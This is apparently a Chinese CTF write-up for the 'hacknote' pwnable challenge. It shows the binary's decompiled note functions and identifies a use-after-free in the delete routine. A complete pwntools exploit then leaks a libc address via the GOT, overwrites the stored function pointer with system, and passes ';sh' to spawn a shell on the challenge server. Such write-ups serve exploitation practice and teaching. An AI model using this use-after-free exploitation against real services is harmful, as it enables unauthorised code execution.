pwnable_hacknote
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8047000)
32位,没开PIE
main部分就不贴了,直接贴主要的函数
unsigned int ADD()
{int v0; // ebxint i; // [esp+Ch] [ebp-1Ch]int size; // [esp+10h] [ebp-18h]char buf[8]; // [esp+14h] [ebp-14h] BYREFunsigned int v5; // [esp+1Ch] [ebp-Ch]v5 = __readgsdword(0x14u);if ( BSSNUM <= 5 ){for ( i = 0; i <= 4; ++i ){if ( !*(&ptr + i) ){*(&ptr + i) = malloc(8u);if ( !*(&ptr + i) ){puts("Alloca Error");exit(-1);}*(_DWORD *)*(&ptr + i) = sub_804862B;printf("Note size :");read(0, buf, 8u);size = atoi(buf);v0 = (int)*(&ptr + i);*(_DWORD *)(v0 + 4) = malloc(size);if ( !*((_DWORD *)*(&ptr + i) + 1) ){puts("Alloca Error");exit(-1);}printf("Content :");read(0, *((void **)*(&ptr + i) + 1), size);puts("Success !");++BSSNUM;return __readgsdword(0x14u) ^ v5;}}}else{puts("Full");}return __readgsdword(0x14u) ^ v5;
}
add这里,程序申请了一个chunk,用来存放puts函数,和content的地址,
然后给用户申请一个chunk,size不限制
unsigned int DELE()
{int v1; // [esp+4h] [ebp-14h]char buf[4]; // [esp+8h] [ebp-10h] BYREFunsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Index :");read(0, buf, 4u);v1 = atoi(buf);if ( v1 < 0 || v1 >= BSSNUM ){puts("Out of bound!");_exit(0);}if ( *(&ptr + v1) ){free(*((void **)*(&ptr + v1) + 1));free(*(&ptr + v1));puts("Success");}return __readgsdword(0x14u) ^ v3;
}
free这里是uaf
unsigned int SHOW()
{int v1; // [esp+4h] [ebp-14h]char buf[4]; // [esp+8h] [ebp-10h] BYREFunsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Index :");read(0, buf, 4u);v1 = atoi(buf);if ( v1 < 0 || v1 >= BSSNUM ){puts("Out of bound!");_exit(0);}if ( *(&ptr + v1) )(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));return __readgsdword(0x14u) ^ v3;
}
show这里,是通过程序申请的chunk里面的puts函数,然后取下一位content的地址去打印content的
思路
既然用程序的puts调用地址打印,我们可以构造一个可操作的chunk去使这个函数,泄露我们需要的
比如说libc
后面就是计算libc,getshell
from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",26820,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
libc=ELF('libc-2.23_32.so')add(0x80,b'a')
add(0x80,b'a')
add(0x30,b'a')
dele(0)
dele(1)
add(0x8,flat(0x804862B,elf.got['free']))
show(0)
leak=u32(r.recvuntil(b'\xf7')[-4:])
base=leak-libc.sym['free']
sys=system(base)
sh=shell(base)
li(leak)
dele(3)
add(0x8,flat(sys,';sh\x00'))
show(0)ia()
本来我打算用libc的shell去打的,奈何打不通,参考了一下其他师傅,发现用system函数地址去覆盖puts函数的地址,参数会是system函数本身,用;
执行下一条命令才能执行到system(sh)